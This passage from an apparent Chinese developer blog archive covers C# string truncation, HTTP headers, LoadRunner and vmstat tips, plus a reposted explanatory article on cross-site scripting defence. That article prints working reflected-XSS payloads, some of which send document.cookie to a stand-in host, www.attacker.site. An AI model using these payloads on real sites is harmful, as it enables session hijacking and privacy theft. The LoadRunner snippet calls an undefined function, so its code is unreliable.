            Response.Write("<br/>");

            string str4 = test.InterceptString("本人在北京一所民办高校(哪个学校不说了)里面做程序开发,主要做的是招生系统。因为就我一个程序员,也算是技术总监了!", 6);
            Response.Write(str4);
            Response.Write("<br/>");

            string str5 = test.InterceptString("cccccc", 3);
            Response.Write(str5);
            Response.Write("<br/>");

            string str6 = test.InterceptString("<注释>", 3);
            Response.Write(str6);
            Response.Write("<br/>");

            string str7 = test.InterceptString("<注释>", 3);
            Response.Write(str7);
            Response.Write("<br/>");
        }

    在App_code下兴建了一个类,是被调用的函数:

        public static string InterceptString(string stringToSub, int length)
            {
                Regex regex = new Regex("[\u4e00-\u9fa5]+", RegexOptions.Compiled);
                char[] stringChar = stringToSub.ToCharArray();
                StringBuilder sb = new StringBuilder();
                int nLength = 0;
                for (int i = 0; i < stringChar.Length; i++)
                {
                    if (regex.IsMatch((stringChar[i]).ToString()))
                    {
                        nLength += 2;
                    }
                    else
                    {
                        nLength = nLength + 1;
                    }

                    if (nLength <= length)
                    {
                        sb.Append(stringChar[i]);
                    }
                    else
                    {
                        break;
                    }
                }
                if (sb.ToString() != stringToSub)
                {
                    sb.Append("...");
                }

                return sb.ToString();
            }

  • Web基础--HTTP标头

    2008-09-03 22:45:32

    1. http协议

    除了TCP/IP协议,http可以说是最重要,且使用最多的网络协议了。本节简要介绍一下http协议的工作原理。

    假设现在有一个html文件:http.html, 存放在Web服务器上,其URL为www.myweb.com/http.html ,文件内容为:
    HTML 代码:

    <html>
    <head>
    <title>http.html</title>
    </head>
    <body>
    hello, http
    </body>
    </html>

    现在,一个用户通过IE访问该地址,IE首先将此地址的域名通过DNS转换为一个IP地址,然后通过一个Web服务器开放的端口(默认为80,不为80需在域名后加上“:端口号”,例如www.myweb.com:81)与其连接, 然后传送一个类似这样的http请求(使用flashget等下载软件下载文件时,在详细信息里也可以看到类似的信息):
    代码:

    GET /http.html HTTP/1.1
    Host: www.myweb.com
    Accept: */*
    User-Agent: Mozilla/4.0 (compatible; MSIE.6.0; Windows NT 5.1)
    Pragma: no-cache
    Cache-Control: no-cache
    Connection: close
    [空行]

    请求的第一行为请求内容, 表示通过GET方法向服务器请求资源,/http.html为请求资源名称,HTTP/1.1 表示使用http协议,版本1.1。然后接下来的几行称为请求信息的标头(header),其中描述了请求的一些其他信息,比如客户端浏览器标识等。最后一个空行表示请求结束。

    当Web服务器接收到该请求时,服务器检查所请求的资源是否有效,且是否有相应的权限。如果没有问题,则服务器会传回类似如下的http响应信息:
    代码:

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Thursday, March 31, 2005 17:15:23 GMT
    Content-Type: text/html
    Content-Length: 88
    [空行]
    <html>
    <head>
    <title>http.html</title>
    </head>
    <body>
    hello, http
    </body>
    </html>


    其中第一行的“200”是一个状态码,表示服务器成功完成该请求,如果不成功会返回其他状态码。Content-Type表示返回的数据类型, Content-Length表示返回的数据长度。空行表示标头结束,下面则是浏览器根据请求返回的数据内容,这里是http.html的文件内容,浏览器解析html源代码,将Web页面呈现给用户,到这里就完成了一次成功的http通信。

    以上内容是Web通信的基础,就和Windows消息机制一样,你可能不会用到它,但是你必须了解它,你得知道那些高级的东西隐藏了哪些低级的内容,这样对你理解和使用那些高级的东西都有非常大的帮助:)。

    2. html form

    前面的http.html文件是一个最简单的静态html页面,但作为一个Web程序,它实在是太简陋了,它不接受用户输入,永远显示一样的内容。我们需要能够根据用户输入来返回相应的数据。

    看下面的html代码:

    HTML 代码:
    <html>
    <head>
    <title>form.html</title>
    </head>
    <body>
    <form method=”get”>
    <input type=”text” name=”p” />
    <input type=”submit” value=”submit” />
    </form>
    </body>
    </html>


    观察这段代码,其中有一个html form,其内容包括在<form>和</form>之间, 其中有一个提交按钮(<input type=”submit” value=”submit” />),当用户点击该按钮时,浏览器将html form中的所有输入提交给Web服务器,form标签的method属性指定了提交的方式,这里为get,这个get对应http请求中的GET请求方法,form中的输入均以查询字符串的方式附加在URL上, 在文本框里输入一个字符串,比如“form”,然后观察浏览器的地址栏,会变成类似 http://www.myweb.com/form.html?p=form ,这是因为浏览器发出了这样的GET请求:

    代码:
    GET /form.html?p=form HTTP/1.1
    ...
    ...
    [空行]


    假如<form>标签的method属性为”post”,即令浏览器使用post方法发送该请求,当使用post方法时,用户的输入并不是通过URL来传输的,而是浏览器将内容放在POST请求的标头之后发送给Web服务器的:
    代码:
    POST /form.html HTTP/1.1
    ...
    ...
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    [空行]
    p=form


    然后Web服务器就可以通过访问post请求发送的数据来处理用户输入。

    浏览器将用户输入使用GET或者POST方法发送给Web服务器,这个过程称为“回发(Postback)”。这个概念相当重要,在Web应用程序中经常涉及到回发。

     

    HTTP是什么?

    当我们想浏览一个网站的时候,只要在浏览器的地址栏里输入网站的地址就可以了,例如www.baidu.com,但是在浏览器的地址栏里面出现的却是:http://www.baidu.com,你知道为什么会多出一个“http”吗?

    一、HTTP协议是什么

    我们在浏览器的地址栏里输入的网站地址叫做URL (Uniform Resource Locator,统一资源定位符)。就像每家每户都有一个门牌地址一样,每个网页也都有一个Internet地址。当你在浏览器的地址框中输入一个URL或是单击一个超级链接时,URL就确定了要浏览的地址。浏览器通过超文本传输协议(HTTP),将Web服务器上站点的网页代码提取出来,并翻译成漂亮的网页。因此,在我们认识HTTP之前,有必要先弄清楚URL的组成,例如:http://www.baidu.com/china/index.htm。它的含义如下:

    1. http://:代表超文本传输协议,通知baidu.com服务器显示Web页,通常不用输入;

    2. www:代表一个Web(万维网)服务器;

    3. baidu.com/:这是装有网页的服务器的域名,或站点服务器的名称;

    4. China/:为该服务器上的子目录,就好像我们的文件夹;

    5. Index.htm:index.htm是文件夹中的一个HTML文件(网页)。

    我们知道,Internet的基本协议是TCP/IP协议,然而在TCP/IP模型最上层的是应用层(Application layer),它包含所有高层的协议。高层协议有:文件传输协议FTP、电子邮件传输协议SMTP、域名系统服务DNS、网络新闻传输协议NNTP和HTTP协议等。

    HTTP协议(Hypertext Transfer Protocol,超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传送协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。这就是你为什么在浏览器中看到的网页地址都是以http://开头的原因。

    自WWW诞生以来,一个多姿多彩的资讯和虚拟的世界便出现在我们眼前,可是我们怎么能够更加容易地找到我们需要的资讯呢?当决定使用超文本作为WWW文档的标准格式后,于是在1990年,科学家们立即制定了能够快速查找这些超文本文档的协议,即HTTP协议。经过几年的使用与发展,得到不断的完善和扩展,目前在WWW中使用的是HTTP/1.0的第六版。

    HTTP是怎样工作的

    既然我们明白了URL的构成,那么HTTP是怎么工作呢?我们接下来就要讨论这个问题。

    由于HTTP协议是基于请求/响应范式的(相当于客户机/服务器)。一个客户机与服务器建立连接后,发送一个请求给服务器,请求方式的格式为:统一资源标识符(URL)、协议版本号,后边是MIME信息包括请求修饰符、客户机信息和可能的内容。服务器接到请求后,给予相应的响应信息,其格式为一个状态行,包括信息的协议版本号、一个成功或错误的代码,后边是MIME信息包括服务器信息、实体信息和可能的内容。

    许多HTTP通讯是由一个用户代理初始化的并且包括一个申请在源服务器上资源的请求。最简单的情况可能是在用户代理和服务器之间通过一个单独的连接来完成。在Internet上,HTTP通讯通常发生在TCP/IP连接之上。缺省端口是TCP 80,但其它的端口也是可用的。但这并不预示着HTTP协议在Internet或其它网络的其它协议之上才能完成。HTTP只预示着一个可靠的传输。

    这个过程就好像我们打电话订货一样,我们可以打电话给商家,告诉他我们需要什么规格的商品,然后商家再告诉我们什么商品有货,什么商品缺货。这些,我们是通过电话线用电话联系(HTTP是通过TCP/IP),当然我们也可以通过传真,只要商家那边也有传真。

    以上简要介绍了HTTP协议的宏观运作方式,下面介绍一下HTTP协议的内部操作过程。

    在WWW中,“客户”与“服务器”是一个相对的概念,只存在于一个特定的连接期间,即在某个连接中的客户在另一个连接中可能作为服务器。基于HTTP协议的客户/服务器模式的信息交换过程,它分四个过程:建立连接、发送请求信息、发送响应信息、关闭连接。这就好像上面的例子,我们电话订货的全过程。

    其实简单说就是任何服务器除了包括HTML文件以外,还有一个HTTP驻留程序,用于响应用户请求。你的浏览器是HTTP客户,向服务器发送请求,当浏览器中输入了一个开始文件或点击了一个超级链接时,浏览器就向服务器发送了HTTP请求,此请求被送往由IP地址指定的URL。驻留程序接收到请求,在进行必要的操作后回送所要求的文件。在这一过程中,在网络上发送和接收的数据已经被分成一个或多个数据包(packet),每个数据包包括:要传送的数据;控制信息,即告诉网络怎样处理数据包。TCP/IP决定了每个数据包的格式。如果事先不告诉你,你可能不会知道信息被分成用于传输和再重新组合起来的许多小块。

    也就是说商家除了拥有商品之外,它也有一个职员在接听你的电话,当你打电话的时候,你的声音转换成各种复杂的数据,通过电话线传输到对方的电话机,对方的电话机又把各种复杂的数据转换成声音,使得对方商家的职员能够明白你的请求。这个过程你不需要明白声音是怎么转换成复杂的数据的。

    http协议基础

    HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送WWW方式的数据,关于HTTP协议的详细内容请参考RFC2616。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能的实体内容。

    通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。

    通用头域

    通用头域包含请求和响应消息都支持的头域,通用头域包含Cache-Control、Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via。对通用头域的扩展要求通讯双方都支持此扩展,如果存在不支持的通用头域,一般将会作为实体头域处理。下面简单介绍几个在UPnP消息中使用的通用头域。

    Cache-Control头域

    Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh、only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate、max-age。各个消息中的指令含义如下:

    Public指示响应可被任何缓存区缓存。

    Private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效。

    no-cache指示请求或响应消息不能缓存

    no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存。

    max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应。

    min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应。

    max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息。

    Date头域

    Date头域表示消息发送的时间,时间的描述格式由rfc822定义。例如,Date:Mon,31Dec200104:25:57GMT。Date描述的时间表示世界标准时,换算成本地时间,需要知道用户所在的时区。

    Pragma头域

    Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache。在HTTP/1.1协议中,它的含义和Cache-Control:no-cache相同。

    请求消息

    请求消息的第一行为下面的格式:

    MethodSPRequest-URISPHTTP-VersionCRLFMethod表示对于Request-URI完成的方法,这个字段是大小写敏感的,包括OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE。方法GET和HEAD应该被所有的通用WEB服务器支持,其他所有方法的实现是可选的。GET方法取回由Request-URI标识的信息。HEAD方法也是取回由Request-URI标识的信息,只是可以在响应时,不返回消息体。POST方法可以请求服务器接收包含在请求中的实体信息,可以用于提交表单,向新闻组、BBS、邮件群组和数据库发送消息。

    SP表示空格。Request-URI遵循URI格式,在此字段为星号(*)时,说明请求并不用于某个特定的资源地址,而是用于服务器本身。HTTP-Version表示支持的HTTP版本,例如为HTTP/1.1。CRLF表示换行回车符。请求头域允许客户端向服务器传递关于请求或者关于客户机的附加信息。请求头域可能包含下列字段Accept、Accept-Charset、Accept-Encoding、Accept-Language、Authorization、From、Host、If-Modified-Since、If-Match、If-None-Match、If-Range、If-Range、If-Unmodified-Since、Max-Forwards、Proxy-Authorization、Range、Referer、User-Agent。对请求头域的扩展要求通讯双方都支持,如果存在不支持的请求头域,一般将会作为实体头域处理。

    典型的请求消息:

    GEThttp://download.microtool.de:80/somedata.exe
    Host:download.microtool.de

    Accept:*/*

    Pragma:no-cache

    Cache-Control:no-cache

    Referer:http://download.microtool.de/
    User-Agent:Mozilla/4.04[en](Win95;I;Nav)

    Range:bytes=554554-

    上例第一行表示HTTP客户端(可能是浏览器、下载程序)通过GET方法获得指定URL下的文件。棕色的部分表示请求头域的信息,绿色的部分表示通用头部分。

    Host头域

    Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的位置。HTTP/1.1请求必须包含主机头域,否则系统会以400状态码返回。

    Referer头域

    Referer头域允许客户端指定请求uri的源资源地址,这可以允许服务器生成回退链表,可用来登陆、优化cache等。他也允许废除的或错误的连接由于维护的目的被追踪。如果请求的uri没有自己的uri地址,Referer不能被发送。如果指定的是部分uri地址,则此地址应该是一个相对地址。

    Range头域

    Range头域可以请求实体的一个或者多个子范围。例如,

    表示头500个字节:bytes=0-499

    表示第二个500字节:bytes=500-999

    表示最后500个字节:bytes=-500

    表示500字节以后的范围:bytes=500-

    第一个和最后一个字节:bytes=0-0,-1

    同时指定几个范围:bytes=500-600,601-999

    但是服务器可以忽略此请求头,如果无条件GET包含Range请求头,响应会以状态码206(PartialContent)返回而不是以200(OK)。

    User-Agent头域

    User-Agent头域的内容包含发出请求的用户信息。

    响应消息

    响应消息的第一行为下面的格式:

    HTTP-VersionSPStatus-CodeSPReason-PhraseCRLF

    HTTP-Version表示支持的HTTP版本,例如为HTTP/1.1。Status-Code是一个三个数字的结果代码。Reason-Phrase给Status-Code提供一个简单的文本描述。Status-Code主要用于机器自动识别,Reason-Phrase主要用于帮助用户理解。Status-Code的第一个数字定义响应的类别,后两个数字没有分类的作用。第一个数字可能取5个不同的值:

    1xx:信息响应类,表示接收到请求并且继续处理

    2xx:处理成功响应类,表示动作被成功接收、理解和接受

    3xx:重定向响应类,为了完成指定的动作,必须接受进一步处理

    4xx:客户端错误,客户请求包含语法错误或者是不能正确执行

    5xx:服务端错误,服务器不能正确执行一个正确的请求

    响应头域允许服务器传递不能放在状态行的附加信息,这些域主要描述服务器的信息和Request-URI进一步的信息。响应头域包含Age、Location、Proxy-Authenticate、Public、Retry-After、Server、Vary、Warning、WWW-Authenticate。对响应头域的扩展要求通讯双方都支持,如果存在不支持的响应头域,一般将会作为实体头域处理。

    典型的响应消息:

    HTTP/1.0200OK

    Date:Mon,31Dec200104:25:57GMT

    Server:Apache/1.3.14(Unix)

    Content-type:text/html

    Last-modified:Tue,17Apr200106:46:28GMT

    Etag:"a030f020ac7c01:1e9f"

    Content-length:39725426

    Content-range:bytes554554-40279979/40279980

    上例第一行表示HTTP服务端响应一个GET方法。棕色的部分表示响应头域的信息,绿色的部分表示通用头部分,红色的部分表示实体头域的信息。

    Location响应头

    Location响应头用于重定向接收者到一个新URI地址。

    Server响应头

    Server响应头包含处理请求的原始服务器的软件信息。此域能包含多个产品标识和注释,产品标识一般按照重要性排序。

    实体

    请求消息和响应消息都可以包含实体信息,实体信息一般由实体头域和实体组成。实体头域包含关于实体的原信息,实体头包括Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Etag、Expires、Last-Modified、extension-header。extension-header允许客户端定义新的实体头,但是这些域可能无法未接受方识别。实体可以是一个经过编码的字节流,它的编码方式由Content-Encoding或Content-Type定义,它的长度由Content-Length或Content-Range定义。

    Content-Type实体头

    Content-Type实体头用于向接收方指示实体的介质类型,指定HEAD方法送到接收方的实体介质类型,或GET方法发送的请求介质类型Content-Range实体头

    Content-Range实体头用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度。一般格式:

    Content-Range:bytes-unitSPfirst-byte-pos-last-byte-pos/entity-legth

    例如,传送头500个字节次字段的形式:Content-Range:bytes0-499/1234如果一个http消息包含此节(例如,对范围请求的响应或对一系列范围的重叠请求),Content-Range表示传送的范围,Content-Length表示实际传送的字节数。

    Last-modified实体头

    Last-modified实体头指定服务器上保存内容的最后修订时间。

    例如,传送头500个字节次字段的形式:Content-Range:bytes0-499/1234如果一个http消息包含此节(例如,对范围请求的响应或对一系列范围的重叠请求),Content-Range表示传送的范围,Content-Length表示实际传送的字节数。

    Last-modified实体头

    Last-modified实体头指定服务器上保存内容的最后修订时间。

  • IBM Rational AppScan:跨站点脚本攻击深入解析

    2008-09-03 12:07:04

    了解黑客如何启动跨站点脚本攻击(cross-site scrīpting,XSS),该攻击危害(及不危害)什么,如何检测它们,以及如何防止您的 Web 站点和站点的访问者受到这些针对隐私和安全的恶意入侵。

    在跨站脚本攻击中会发生什么

    跨站脚本攻击(cross-site scrīpting,简称 XSS),是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一。XSS 是针对特殊 Web 站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体:黑客和 Web 站点,或者黑客和客户端受害者。与那些攻击不同的是,XSS 攻击同时涉及三个群体:黑客、客户端和 Web 站点。

    XSS 攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记,黑客可以继续扮演用户与站点交互,从而冒充用户。举例来说,在对一个大型公司的调查中表明,利用 XSS 攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用 Web 站点的访问特权,在受害者(客户端)浏览器上运行恶意的 Javascrīpt 代码来实现的。这些是非常有限的 Javascrīpt 特权,除了与站点相关的信息,一般不允许脚本访问其他任何内容。重点强调的是,虽然 Web 站点上存在安全漏洞,但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies,并且将它们发送给黑客。因此,黑客获得 cookies 并冒充受害者。

    XSS 技术的深入解析

    让我们调用受攻击的站点:www.vulnerable.site。传统的 XSS 攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分 HTTP 请求(通常是参数,但有时也有 HTTP 头域或路径),并且在首次不加密的情况下全部或部分地将其回送给响应页面(因而,不确保它不包含 Javascrīpt 代码或 HTML 标签)。因此,假设该脚本名为 welcome.cgi,其参数为 name。可以通过以下方式进行操作:

      GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 
      Host: www.vulnerable.site 
        

    响应是:

      <HTML> 
      <Title>Welcome!</Title> 
      Hi Joe Hacker <BR> 
      Welcome to our system 
      ... 
      </HTML>
    

    这是怎样被盗用的呢?黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接,诱使受害者的 Web 浏览器访问站点(www.vulnerable.site),并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为 www.vulnerable.site 站点所存储 cookies 的 Javascrīpt。这是允许的,因为客户端浏览器“运行过”来自 www.vulnerable.site 的 Javascrīpt,并且 Javascrīpt 安全模型允许来自特殊站点的脚本访问属于该站点的 cookies。

    这样的链接如下:

    http://www.vulnerable.site/welcome.cgi?name=<scrīpt>alert(document.cookie)</scrīpt> 
          

    受害者点击链接之后将生成对 www.vulnerable.site 的请求,如下所示:

      GET /welcome.cgi?name=<scrīpt>alert(document.cookie)</scrīpt> HTTP/1.0 
      Host: www.vulnerable.site ... 
    

    脆弱的站点的响应是:

      <HTML> <Title>Welcome!</Title> Hi <scrīpt>alert(document.cookie)</scrīpt> 
      <BR> Welcome to our system ... 
      </HTML> 
      

    受害者客户端的浏览器将把该响应解释为包含一段 Javascrīpt 代码的 HTML 页面。当执行时,该代码被允许访问所有属于 www.vulnerable.site 的 cookies。因此,它将在客户端浏览器中弹出一个窗口,显示属于 www.vulnerable.site 的所有客户端 cookies。

    当然,真正的恶意攻击包含了将这些 cookies 发送给黑客的操作。对此,黑客可能建立 Web 站点(www.attacker.site)并使用脚本来接收 cookies。替代弹出窗口,黑客会书写访问 www.attacker.site 的 URL 的代码,从而调用接收 cookie 的脚本,其参数设置为被窃取的 cookies。这样,黑客可以从 www.attacker.site 服务器上获得 cookies。

    恶意的链接会是:

    http://www.vulnerable.site/welcome.cgi?name=<scrīpt>window.open
    ("http://www.attacker.site/collect 
      .cgi?cookie="%2Bdocument.cookie)</scrīpt> 
          

    响应页面看起来像这样:

      <HTML> <Title>Welcome!</Title> Hi 
      <scrīpt>window.open("http://www.attacker.site/collect.cgi?cookie=
    "+document.cookie)</scrīpt> 
      <BR> 
      Welcome to our system ... </HTML> 
        

    加载该页面的浏览器会立即执行内嵌的 Javascrīpt,并向 www.attacker.site 中的 collect.cgi 脚本发送请求,并附带着浏览器已经拥有的 www.vulnerable.site 的 cookies 的值。这样就泄漏了客户端所拥有的 www.vulnerable.site 的 cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。

    注意:
    引发 Javascrīpt 弹出窗口的出现通常足够说明该站点容易受到 XSS 攻击。如果可以调用 Javascrīpt Alert 方法,那么通常没理由 window.open 调用不成功。这就是为什么大部分 XSS 攻击的实例使用 Alert 方法,因为这很容易检测其成功。

    范围和可行性

    攻击只会在受害者用于访问站点(www.vulnerable.site)的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行:

    • 黑客发送包含强迫浏览器访问该链接的 HTML 页面的电子邮件消息。这要求受害者使用 HTML 有效的电子邮件客户端,并且客户端的 HTML 阅读器是用于访问 www.vulnerable.site 的同一个浏览器。
    • 客户端访问可能受黑客运作的站点,其中的图片链接或其他激活的 HTML 强迫浏览器访问该链接。再次声明,必须要求浏览器与访问该站点和 www.vulnerable.site 的是同一个浏览器。

    恶意的 Javascrīpt 可以访问任何下列信息:

    • 浏览器维护的(www.vulnerable.site 的)永久 cookies
    • 浏览器实例维护的(www.vulnerable.site 的)RAM cookies,但只有当最近浏览 www.vulnerable.site 时发生。
    • 为 www.vulnerable.site 打开的其他窗口的名称
    • 可以通过当前的 DOM 访问的任何信息(如值、HTML 代码,等等)

    身份识别、验证和授权标志通常以 cookies 形式维护。如果这些 cookies 是永久的,那么即使不在访问 www.vulnerable.site 的时候使用浏览器,受害者也是易受攻击的。然而,如果 cookies 是临时的,例如 RAM cookies,那么客户端必须处于访问 www.vulnerable.site 的会话中。

    身份识别标志的另一种可能的实现是通过 URL 参数。在这种情况下,可以用这种方式使用 Javascrīpt 访问其他窗口(假设带有必要的 URL 参数的页面的名称为 foobar):

    <scrīpt>var victim_window=open(",'foobar');alert('Can access: 
    ' +victim_window.location.search)</scrīpt> 
               

    跨站点脚本攻击的多种情形

    除了 <scrīpt>,使用其他 HTML 标签来运行 Javascrīpt 也是可能的。事实上,同样可能的是,恶意的 Javascrīpt 代码存储在另一个服务器上,并强迫客户端下载该脚本并执行它,如果要运行许多代码,或者代码中包含特殊字符时,这是很有用。

    关于这些可能性的一些情形:

    • 除了 <scrīpt>...</scrīpt>,黑客可以使用 <img src="javascrīpt:...">。这对于过滤 <scrīpt> HTML 标签的站点来说很好用。
    • 除了 <scrīpt>...</scrīpt>,还可以使用 <scrīpt src="http://...">。这对于 Javascrīpt 代码过长,或者其中包含了禁止字符时的情况是很好用的。

    有时候,响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下,首先必要的是“逃”到自由的环境中,然后附加 XSS 攻击。举例来说,如果以 HTML 表单字段的默认值注入数据:

    ... 
    <input type=text name=user value="..."> 
    ... 
    

    那么在数据的开头必需包含 "> ,从而逃到自由的 HTML 环境中。数据可能是:

    "><scrīpt>window.open("http://www.attacker.site/collect.cgi?cookie=
    "+document.cookie)</scrīpt>
    

    结果得到的 HTML 是:

    ... 
    <input type=text name=user value=""><scrīpt>window.open
    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</scrīpt>">
    ... 
    

    执行传统的 XSS 攻击的其他方式

    到此为止,我们已经看到 XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求实现攻击,或者利用 HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头(例如 Referer)。

    特别是,当错误页面返回错误的路径时,路径组件就有用了。在这种情况下,包含在该路径中的恶意脚本经常都会执行。已发现许多 Web 服务器都容易受到这种攻击。

    什么出了问题?

    很重要的是要知道,虽然 Web 站点不直接受到这种攻击的影响(站点继续正常工作,恶意代码不在站点上执行,不会出现 DoS 情况,并且数据不直接受控,或从站点上读取),但是它仍旧是站点向其访问者或客户端提供的隐私保护机制中的缺陷。这就像站点使用薄弱的安全标志(security token)部署应用程序,借此,黑客可以猜出客户的安全标志并冒充客户。

    应用程序中的脆弱点是不管参数值是什么都回送参数的脚本。好的脚本确保参数的格式是适当的,包含合理的字符,等等。有效的参数通常没有合理的理由包含 HTML 标签或 Javascrīpt 代码,可靠起见,应该在这些内容嵌入响应之前,或者在应用程序中处理这些内容之前,将它们从参数中去掉。

    如何保护站点不受 XSS 攻击

    用这三种方式可以保护站点不受 XSS 攻击:

    1. 执行内部的输入过滤(有时候称为输入清洁设备)。对于内部书写的每个脚本中的每个用户输入 —— 参数或 HTTP 头,都应该应用高级的 HTML 标签(包括 Javascrīpt 代码)过滤。举例来说,来自之前的案例研究中的 welcome.cgi 脚本在解码 name 参数之后,应该过滤 <scrīpt> 标签。该方法有一些严重的不利因素:
      • 它要求应用程序的编程人员非常精通安全。
      • 它要求编程人员覆盖所有可能的输入来源(查询参数、POST 请求的 body 参数、HTTP 头)。
      • 它不能抵御第三方脚本或服务器中的安全漏洞。举例来说,它不能防御 Web 服务器错误页面中的问题(通常显示了资源的路径)。
    1. 执行“输出过滤”,换句话说,当发回给浏览器时过滤用户数据,而不是当被脚本接收时。一个很好的示例是通过一个脚本将输入数据插入到数据库中,然后再从数据库呈现数据。在这种情况下,重要的是不向原始的输入字符串应用过滤,而只向输出版本应用过滤。这种方法的缺陷类似于对输入过滤的缺陷。
    1. 通过安装第三方应用程序防火墙,防火墙在 XSS 攻击到达 Web 服务器和易受攻击的脚本之前拦截它们,并阻塞它们。不论是来自内部应用程序的脚本或路径、第三方脚本,或根本不描述资源的脚本(举例来说,用来引起来自服务器的 404 页面响应的脚本),应用程序防火墙都可以以一般的方式覆盖所有输入方法(包括路径和 HTTP 头)。对于每个输入源,应用程序防火墙根据各种 HTML 标签模式和 Javascrīpt 模式检查数据。如果匹配成功,就拒绝该请求,恶意的输入不会到达服务器。

    检查您的站点是否处于 XSS 攻击保护的方法

    检查站点免于遭受 XSS 攻击是加强站点安全保护的必然结论。正如保护站点免于遭受 XSS 攻击一样,检查站点的确安全也可以通过手工完成(硬方法),或利用自动的 Web 应用程序安全漏洞评估工具,它减轻了检查的负担。该工具爬遍站点,然后根据尝试参数、头,和路径找到的所有脚本,运行其知道的所有变化。在这两种方法中,用尽可能多的方式检查对应用程序的每个输入(所有脚本的参数、HTTP 头、路径)。如果响应页面包含浏览器可以执行的 Javascrīpt 代码,那么 XSS 安全漏洞就已显露出来。举例来说,发送此文本:

    <scrīpt>alert(document.cookie)</scrīpt> 
    

    对每个脚本的每个参数(通过允许 Javascrīpt 的浏览器暴露出最简单类型的 XSS 安全漏洞),如果将文本解释为 Javascrīpt 代码,那么浏览器将弹出 Javascrīpt Alert 窗口。当然,还有很多其他情形,因此,只测试这种情形是不够的。如您已经很了解的话,很可能将 Javascrīpt 注入请求的各种字段中:参数、HTTP 头,和路径。尽管,在一些情况下(特别是 HTTP Referer 头),很难利用浏览器执行攻击。

    总结

    跨站脚本攻击是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一,并且是最危险的手段之一。它是针对特殊 Web 站点的客户隐私的攻击,当客户详细信息失窃或受控时可能引发彻底的安全问题。不幸的是,如本文所阐述的,这种攻击经常在无需了解客户或被攻击组织情况的前提下就可以实现。

    要防止 Web 站点受到这些恶意行为的攻击,至关重要的是,组织要实现在线和脱机的安全策略。这包括使用能够自动化测试出站点中所有普遍的 Web 安全漏洞,和具体应用程序的安全漏洞(例如跨站脚本)的自动化安全漏洞评估工具。对于全面的在线防卫,同样至关重要的是安装可以检测并抵御任何对保存在 Web 服务器上,或其背后的代码和内容实施控制的防火墙应用程序。

  • VS.Net 2005的程序运行时提示没有找到MSVCR80D.dll的解决办法

    2008-09-02 22:11:34

     

    解决方案是:在编辑状态下,点项目菜单 -> XXX属性页 -> 配置属性 -> 清单工具,将右面的“使用FAT32解决办法”选为“是”即可。

  • 在LR中如何使用自定义函数

    2008-09-01 23:22:35

    LR可以调用外部文件定义的函数,这样我们就可以复用这些自定义的函数。

    使用的时候只需引入这个文件(.h文件)即可。具体方法如下:

    1.用文本编辑器或者其它文本编辑工具创建文件test.h。

    2.编辑代码如下:
    int testSum(int a,int b)

    {

        if((a<0) || (b<0))

       {  

             return -1;

       }

        else

       {

             return a+b;

       }

    }

    3.在LR的Action中添加引入文件

    #include "web_api.h"
    #include "test.h"  

    在Action部分添加如下代码:


    Action()
    {

        lr_output_message("%d",SumFour(1,2));
        return 0;
    }
    4.运行后得到测试结果3

  • Unix环境性能测试指令详解

    2008-08-28 08:38:42

     

      用vmstat监视内存使用情况vmstat是Virtual Meomory Statistics(虚拟内存统计)的缩写,可对操作系统的虚拟内存、进程、CPU活动进行监视。它是对系统的整体情况进行统计,不足之处是无法对某个进程进行深入分析。
     
